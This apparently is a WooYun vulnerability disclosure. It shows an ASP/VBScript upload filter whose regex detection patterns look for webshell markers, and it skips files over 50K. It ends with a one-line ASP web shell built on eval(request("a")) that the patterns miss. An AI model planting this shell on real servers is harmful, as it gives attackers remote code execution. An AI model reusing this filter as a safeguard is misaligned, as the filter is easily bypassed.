WooYun.org

'检查文件内容的是否合法
Function  CheckFileContent(byval path,byval FileSize)
    Dim kk,NoAllowExtArr
	NoAllowExtArr=Split(NoAllowExt,"|")
	For kk=0 To Ubound(NoAllowExtArr)
	    If InStr(LCase(path),"." & NoAllowExtArr(kk))<>0 Then
		   Call PCls.DeleteFile(path)'删除指定文件
		   CheckFileContent= "文件上传失败,文件名不合法"
		   Exit Function
		End If
	Next
	If FileSize>50 Then Exit Function  '超过50K跳过检测
	
	On Error Resume Next
	Dim FindContent,regEx,FoundTF
	FindContent=PCls.ReadFromFile(Replace(path,PCls.Setting(2),""))
	If Err Then Exit Function:Err.Clear
	FoundTF=false
	Set regEx = New RegExp
	regEx.IgnoreCase = True
	regEx.Global = True
	
	regEx.Pattern = "@\s*LANGUAGE\s*=\s*[""]?\s*(vbscript|jscript|javascript).encode\b"
	If regEx.Test(FindContent) Then
	   FoundTF=true
	End If
	regEx.Pattern = "execute\s*request"
	If regEx.Test(FindContent) Then
	   FoundTF=true
	End If
	regEx.Pattern = "executeglobal\s*request"
	If regEx.Test(FindContent) Then
	   FoundTF=true
	End If
	regEx.Pattern = "<script.*runat.*server(\n|.)*execute(\n|.)*<\/script>"
	If regEx.Test(FindContent) Then
	   FoundTF=true
	End If
	regEx.Pattern = "\<%(.|\n)*%\>"
	If regEx.Test(FindContent) Then
	   FoundTF=true
	End If
	If InStr(LCase(FindContent),"scripting.filesystemobject")<>0 or instr(lcase(FindContent),"adodb.stream")<>0 Then
	   FoundTF=true
	End If
	Set regEx=nothing
	If FoundTF Then
	   PCls.DeleteFile(path)
	   CheckFileContent="系统检查到您上传的文件可能存在危险代码，不允许上传！"
	End If	
End Function

<script language=VBScript runat=server>eval request("a")</Script>